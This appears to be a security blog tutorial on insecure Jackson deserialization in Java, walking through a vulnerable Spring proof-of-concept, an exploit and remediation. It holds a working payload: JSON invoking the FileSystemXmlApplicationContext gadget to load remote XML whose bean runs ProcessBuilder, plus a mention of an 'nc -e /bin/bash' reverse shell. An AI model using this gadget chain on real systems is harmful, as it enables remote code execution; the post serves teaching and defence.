Understanding insecure implementation of Jackson Deserialization

Swapneil Kumar Dash
9 min readOct 6, 2019

--

Hi Everyone,

Welcome to my new blog on Java Deserialization series. Below are the links of my previous blogs on java deserialization:

Okay, so in this blog we will be discussing on Jackson deserialization and vulnerable implementations and exploitation of the same.

So, before we begin with our discussion on the insecure implementation of Jackson Deserialization lets have understand few basics related to Jackson library which is used to parse(Deserialize) JSON input/data.

What is Jackson?

Jackson is a java based library which is used to serialize or map POJO(Plain Old Java Objects) to JSON and deserialize JSON to POJO.

Lets look at a simple example of how Jackson library deserializes a JSON input to its components. Here I am using Eclipse STS for all the coding stuff and Spring framework to develop the POC application. The Jackson version used for demo is 2.8.0:

Jackson version 2.8.0 being used for demo

Below java code is used to create a simple POJO class of name “MyValue” and two member variables “name” and “age”:

public class MyValue {public String name;public int age;}

Now, lets create the derserialization class:

import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import org.springframework.boot.autoconfigure.SpringBootApplication;import com.fasterxml.jackson.databind.ObjectMapper;@SpringBootApplicationpublic class JacksonDatabindApplication {public static void main( String[] args ) throws IOException{System.out.println("creating objectmapper");ObjectMapper om = new ObjectMapper();MyValue myvalue = om.readValue(Files.readAllBytes(Paths.get("/Users/swapneil.dash/Desktop/personal/deserialization/jackson-databainf/jackson-rce-via-spel-master/test-legit.json")), MyValue.class);//PenetrationTesting pt = om.readValue(Files.readAllBytes(Paths.get("/Users/swapneil.dash/Desktop/personal/deserialization/jackson-databainf/jackson-rce-via-spel-master/test-pt-legit.json")), PenetrationTesting.class);System.out.println("name:"+myvalue.name+" \n"+"Age:"+myvalue.age);}}

Lets understand the above code a bit better. So in the line

ObjectMapper om = new ObjectMapper();

ObjectMapper is the class in Jackson library which is used to parse/deserialize the JSON data to java objects. It can create parse JSON from a string, stream or file, and create a Java object or object graph representing the parsed JSON. It can also perform vice-versa.

Now, the ObjectMapper class uses the function readValue to read a json data and parse it to java objects. In the above code, I am trying to read json from a file and parsing/deserializing it to its component objects and printing them out.

Lets say we pass following Json data as input from a file:

{“name”:”test”,”age”:123}

Now, the deserialization code will give an output as shown below:

Jackson deserialization sample code

Now that we are clear on the working of Jackson Deserialization lets move our focus towards the insecure implementation of the same. So, basically Jackson comes with a list of Java annotations which can be used to decide how we want out JSON data to be parsed into corresponding java objects.

A detailed description of the different java annotations is mentioned in the below URL:

These annotations basically help in what is called as polymorphic type handling.

What is Polymorphic Type Handling(PTH)?

Polymorphic type handling comes from the OOP(Object Oriented Programming) concept called polymorphism that Java implements by class inheritance.

Polymorphic type handling basically refers to the way Jackson handles data when complex class structures are used to serialize and deserialize the JSON and java objects. For ex.

Lets say we have a class PenetrationTesting which has member variables as follows:

public class PenetrationTesting {public FullName name;public int age;}class FullName {public String first;public String last;}

Here we created two member variables, one of type int which is the age and the other one is name which is an object of class FullName which itself has two member variables first and last.

So, to deal with serialization and deserialization of these kind of more complex class/subclass structures polymorphic type handling was introduced.

There are basically two ways to implement PTH:

  1. Global Default Typing (which we are gonna talk about which is the vulnerable implementation)
  2. Per-Class Annotations (which is the recommended approach)

So, before digging deep into the Global Default Typing we need to understand that there are few criteria that needs to be met while exploiting a Jackson deserialization vulnerability.

Criteria of Exploitation:

  1. The very first criteria is that the JSON input needs to be attacker controlled(which is obvious, since thats the start of an attack).
  2. The second one is that the gadgets used for exploitation needs to be in the class path of the JVM where application being attacked is running.
  3. The third being the polymorphic type handling set to Global default typing mode.
  4. The fourth being that, the Jackson library version being used should not have the blacklisted list of the gadgets being used for exploitation.

So, for the point 1 and 2 its very basic and utter compulsory and obvious and does not need a discussion.

For point 3, for which we had just got an introduction previously, lets look more on the implementation of Global-default typing.

So, we can enable default typing implementation of PTH in Jackson by either using the annotation during class declaration as shown below:

import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.annotation.JsonTypeInfo.Id;
public class MyValue {@JsonTypeInfo(use = Id.CLASS)public String name;public int age;}

Here, @JsonTypeInfo(use = Id.CLASS) is used to enable default typing on variable name.

Another method used to enable default typing is by doing it through object mapper as shown below:

import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import org.springframework.boot.autoconfigure.SpringBootApplication;import com.fasterxml.jackson.databind.ObjectMapper;@SpringBootApplicationpublic class JacksonDatabindApplication {public static void main( String[] args ) throws IOException{System.out.println("creating objectmapper");ObjectMapper om = new ObjectMapper();om.enableDefaultTyping();MyValue myvalue = om.readValue(Files.readAllBytes(Paths.get("/Users/swapneil.dash/Desktop/personal/deserialization/jackson-databainf/jackson-rce-via-spel-master/test-exploit-2.json")), MyValue.class);System.out.println("name:"+myvalue.name+" \n"+"Age:"+myvalue.age);}}

In the above code, the line “om.enableDefaultTyping();” is used to enable default typing mode for polymorphic type handling for all the member variables of the MyValue class as compared to the other method where we can specify which member variable we need to assign with default typing.

For this case the, the value of default typing, by default, is DefaultTyping.OBJECT_AND_NON_CONCRETE out of the 4 types(if we don’t assign any other value explicitly):

1. OBJECT_AND_NON_CONCRETE
2. JAVA_LANG_OBJECT
3. NON_CONCRETE_AND_ARRAYS
4. NON_FINAL
Assigning values to DefaultTyping function

Now, there is a catch. Let’s say in the example below even though we enable Global-Default typing, we still wont be able to exploit it.

public class PenetrationTesting {@JsonTypeInfo(use = Id.CLASS)
public FullName name;
public int age;
}
class FullName {
public String first;
public String last;
}

This is because, there needs to be a sub-class of class FullName that is a serialization gadget.

Now, if instead of creating a member variable “name” of data type “FullName” as shown above if we create it with data type “Object” with default-typing enabled as shown below:

public class PenetrationTesting {@JsonTypeInfo(use = Id.CLASS)
public Object name;
public int age;
}

this makes it vulnerable to Deserilization exploitation since all Java classes are instances of Object(java.lang.Object), so now attacker can select from a wide selection of documented “gadgets”.

Hence, apart from java.lang.Object there are other types that are disallowed to bind the Jackson serializers such as:

  • java.lang.Object
  • java.io.Serializable
  • java.util.Comparable

I hope you are now clear about the vulnerable implementation of the Jackson library. So we have covered basics of Jackson deserialization and vulnerable implementation of the same. Now its time to see how it can be exploited.

There are various gadgets that can be used to exploit this, however I would like to go with a combination of FileSystemXmlApplicationContext class in spring framework which will parse an xml file and that xml file will be hosted on an attacker server with spring implementation of Java beans.

Java beans , by definition “is a reusable software component. A bean encapsulates many objects into one object so that we can access this object from multiple places. Moreover, it provides easy maintenance”.

Vulnerable Application setup:

Setup:

  1. Create a new spring starter project.
  2. Create a new class MyValue as shown below with default typing enabled :
import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.annotation.JsonTypeInfo.Id;public class MyValue {@JsonTypeInfo(use = Id.CLASS)public Object name;public int age;}

3. Create a class for deserialization with default typing enabled(We can go for either of the implementation of default typing or keep both since it wont matter):

import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import org.springframework.boot.autoconfigure.SpringBootApplication;import com.fasterxml.jackson.databind.ObjectMapper;@SpringBootApplicationpublic class JacksonDatabindApplication {public static void main( String[] args ) throws IOException{System.out.println("creating objectmapper");ObjectMapper om = new ObjectMapper();om.enableDefaultTyping();MyValue myvalue = om.readValue(Files.readAllBytes(Paths.get("path of JSON file")), MyValue.class);System.out.println("name:"+myvalue.name+" \n"+"Age:"+myvalue.age);}}

4. Now we will simply modify the path of JSON file in the highlighted section above, as input, and observe the responses based on that. This is a simple POC setup for demonstration.

Consider this to be a backend code and user input being passed as JSON data through HTTP Request instead of a file location which then gets processed accordingly.

Now that we are ready with out setup lets start with exploitation.

Exploitation:

Let’s begin with providing the code with a legitimate JSON file and observe the response:

Legitimate JSON data provided as input

As seen above the code parses the JSON input and prints the corresponding JAVA object values.

Now lets setup our exploit code. We will create another JSON file with value:

{“age”:12, “name”: [“org.springframework.context.support.FileSystemXmlApplicationContext”, “http://127.0.0.1:8000/spel.xml"]}

As previously discussed, I have made use of below gadget class as a value to the “name” variable(which is the key in this case, since JSON has a key-value pair model)which will parse an xml file hosted on the location “http://127.0.0.1:8000/spel.xml”.

[“org.springframework.context.support.FileSystemXmlApplicationContext”, “http://127.0.0.1:8000/spel.xml"]

Now lets see the content spel.xml:

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg><array><value>/Applications/Calculator.app/Contents/MacOS/Calculator</value></array></constructor-arg><property name="whatever" value="#{ pb.start() }"/></bean></beans>

In the above code, I have made use of another gadget from spring framework with implementation of Java Beans to open up a calculator using the class ProcessBuilder.

PS: ProcessBuilder is a java class equivalent to Runtime.getRuntime.exec which is used to start system level process.

Exploiting Jackson Deserialization

Observe that the application gives error in the console but still manages to pop up a calculator as a new process confirming possibility of Remote Code Execution.

We can create more dangerous and advanced malicious payloads using the java beans using code as below:

Equivalent of nc -nlvp 443 -e /bin/bash

This brings us to end of the exploitation section. This is just one way of exploitation, there are many other possibilities(other gadget combination as mentioned in marshalsec’s pdf https://github.com/mbechler/marshalsec) to this.

Remediation:

A successful exploitation of this vulnerability is dependent on 4 criteria as mentioned earlier in the blog post. So out of the 4 criteria, the first one(JSON data sent from untrusted client) cannot be brought under control.

For, the second criteria(presence of serialization gadget chains in classpath ), we can use a whitelisting approach which is already implemented by Jackson library in its updated version 2.9.8/2.8.11/2.7.9.2 or above whichever is the latest one available. This is also possible by keeping the library up to date with the latest available versions.

For the third one(enabling default-typing), we should avoid the default typing implementation as much as possible and should rely on “Per-Class Annotations” approach which makes use of java annotations available to Jackson library that provide exact specifics to each member variables by using (@JsonTypeInfo and @JsonSubTypes ).

Also, instead of using “@JsonTypeInfo(use = Id.CLASS)” if we use “@JsonTypeInfo(use = Id.NAME)” then also it will avoid the risk associated with default typing.

Apart from this, developers should avoid use of “Object” type and other dangerous types, already mentioned earlier in the blog post, for member variable declaration which creating classes for Jackson based deserialization.

References:

--

--

Responses (1)